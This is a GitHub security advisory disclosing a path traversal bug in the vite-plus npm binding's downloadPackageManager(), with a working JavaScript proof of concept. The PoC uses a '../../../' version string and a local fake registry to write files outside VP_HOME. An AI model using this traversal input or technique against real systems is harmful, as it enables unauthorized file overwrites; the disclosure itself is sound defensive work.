Path traversal in `vite-plus/binding` `downloadPackageManager()` writes outside `VP_HOME`

Moderate **fengmk2** published **GHSA-33r3-4whc-44c2** last week

Package

vite-plus (npm)

Affected versions

<= 0.1.16

Patched versions

0.1.17

Description

Summary

`downloadPackageManager()` in `vite-plus/binding` accepts an untrusted `version` string and uses it directly in filesystem paths. A caller can supply `../` segments to escape the `VP_HOME/package_manager/<pm>/` cache root and cause Vite+ to delete, replace, and populate directories outside the intended cache location.

Details

The public `vite-plus/binding` export `downloadPackageManager()` forwards `options.version` directly into the Rust package-manager download flow without validating that it is a normal semver version.

That value is used as a path component when building the install location under `VP_HOME`. After the package is downloaded and extracted, Vite+:

1. computes the final target directory from the raw `version` string,
2. removes any pre-existing directory at that target,
3. renames the extracted package into that location, and
4. writes executable shim files there.

Because the CLI validates versions via `semver::Version::parse()` before calling this code, the protection that exists for normal `vp create`, `vp migrate`, and `vp env` flows does not apply to direct callers of the binding. A programmatic caller of `vite-plus/binding` can pass traversal strings such as `../../../escaped` and break out of `VP_HOME`.

PoC

```
import fs from "node:fs";
import http from "node:http";
import os from "node:os";
import path from "node:path";
import { downloadPackageManager } from "vite-plus/binding";

const tgz = Buffer.from(
  "H4sIAH/B1GkC/+3NsQqDMBjE8W/uU4hTXUwU0/dJg0irTYLR9zftUnCWQvH/W+645aJ1ox16dX94FX181e6Z5
  "base64",
);

const vpHome = fs.mkdtempSync(path.join(os.tmpdir(), "vp-home-"));
const version = "../../../vite-plus-escape";
const escapedRoot = path.resolve(vpHome, "package_manager", "pnpm", version);
const escapedInstallDir = path.join(escapedRoot, "pnpm");

process.env.VP_HOME = vpHome;

const server = http.createServer((req, res) => {
  res.writeHead(200, { "content-type": "application/octet-stream" });
  res.end(tgz);
});

await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve));
const { port } = server.address();
process.env.npm_config_registry = `http://127.0.0.1:${port}`;

const result = await downloadPackageManager({
  name: "pnpm",
  version,
});

server.close();

console.log("VP_HOME =", vpHome);
console.log("installDir =", result.installDir);
console.log("escaped =", escapedInstallDir);
console.log("shim exists =", fs.existsSync(path.join(escapedInstallDir, "bin", "pnpm")))

// installDir is outside VP_HOME, and <escaped>/pnpm/bin/pnpm is created
```

Impact

A caller that can influence `downloadPackageManager()` input can escape the Vite+ cache directory and make the process overwrite attacker-chosen directories outside `VP_HOME`. When combined with the supported custom-registry override (`npm_config_registry`), this becomes attacker-controlled file write outside the intended install root.

Mitigating factors

- **Normal CLI usage is not affected.** All built-in CLI paths (`vp create`, `vp migrate`, `vp env`) validate the version string via `semver::Version::parse()` before it reaches `downloadPackageManager()`.
- The vulnerability is only reachable by programmatic callers that import `vite-plus/binding` directly and pass an untrusted version string.
- No known downstream consumers pass untrusted input to this function.
- Exploitation requires the attacker to already be executing code in the same Node.js process.

Severity rationale

CVSS v4.0 base vector: `CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:H/SA:H` (High)

CVSS v4.0 with threat context: `CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:H/SA:H/E:U`. No known real-world exploitation and no known code path that reaches the vulnerable function with untrusted input. Advisory severity is set to **Moderate** to reflect the limited practical exposure.

Severity

Moderate

CVE ID

CVE-2026-41211

Weaknesses

▶ CWE-22

Credits

Jvr2022 Reporter